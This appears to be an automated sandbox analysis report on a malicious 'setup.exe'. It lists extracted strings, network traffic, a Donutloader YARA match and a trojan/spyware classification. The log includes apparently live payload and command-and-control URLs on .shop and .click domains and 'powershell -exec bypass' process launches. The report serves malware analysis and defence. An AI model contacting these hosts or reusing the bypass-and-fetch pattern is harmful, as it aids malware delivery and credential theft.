Source: setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: powershell.exe, 00000003.00000002.2369464067.000000000550E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: setup.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: setup.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.2369464067.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2365060562.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: setup.exe	String found in binary or memory: http://www.innosetup.com/
Source: setup.exe	String found in binary or memory: http://www.remobjects.com/ps
Source: setup.exe	String found in binary or memory: http://www.remobjects.com/psU
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.2369464067.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2365060562.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBjq
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/
Source: setup.exe, 00000000.00000002.2357204727.00000000006A5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txt
Source: setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/int_clp_ldr_sha.txtR3Y
Source: setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kliptizq.shop/s
Source: setup.exe, setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/
Source: setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/=b7
Source: setup.exe, setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt
Source: setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt3b=
Source: setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txtOb)
Source: powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: setup.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: setup.exe, setup.exe, 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357915087.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2151699757.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355396691.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2289106620.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/
Source: setup.exe, 00000000.00000003.2223516834.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357915087.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2223129998.0000000000742000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222778947.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2151699757.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355396691.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2289106620.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2243670200.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/api
Source: setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/api2
Source: setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/apiB
Source: setup.exe, 00000000.00000003.2243670200.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/apiE
Source: setup.exe, 00000000.00000003.2223129998.0000000000742000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222778947.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/apiSo
Source: setup.exe, 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/k
Source: setup.exe, 00000000.00000003.2245009127.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357915087.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355396691.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2289106620.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/pK
Source: setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click/v
Source: setup.exe, 00000000.00000003.2175465426.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sickyicyerh.click:443/api
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: powershell.exe, 00000005.00000002.2365060562.0000000005300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landinghZ
Source: powershell.exe, 00000005.00000002.2362834524.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2363983897.0000000003230000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2364694857.0000000003300000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2362834524.0000000002E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank
Source: powershell.exe, 00000005.00000002.2362834524.0000000002E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landingmance
Source: powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phish
Source: powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishhZ
Source: powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-atX)
Source: powershell.exe, 00000005.00000002.2365060562.0000000005300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: powershell.exe, 00000005.00000002.2362834524.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2363983897.0000000003230000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2364694857.0000000003300000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2362834524.0000000002E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.82.188:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.229:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.144:443 -> 192.168.2.5:49744 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_3_007184A8

0_3_007184A8

Source: setup.exe

Static PE information: invalid certificate

Source: setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: setup.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: setup.exe	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: setup.exe, 00000000.00000000.2037460832.00000000004AA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs setup.exe
Source: setup.exe, 00000000.00000003.2103584251.000000000374A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenameshfolder.dll~/ vs setup.exe

Source: setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\setup.exe	Process created: Commandline size = 4588
Source: C:\Users\user\Desktop\setup.exe	Process created: Commandline size = 4588			Jump to behavior

Source: 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/7@3/3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4164:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hy2c2ur1.jio.ps1

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe, 00000000.00000003.2153404263.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2153314053.0000000003E56000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2176112450.0000000003E37000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: setup.exe

Virustotal: Detection: 9%

Source: setup.exe	String found in binary or memory: AD/ADDADYADmAD~AD
Source: setup.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: setup.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalid
Source: setup.exe	String found in binary or memory: /LoadInf=
Source: setup.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass error code: 523	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> <	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
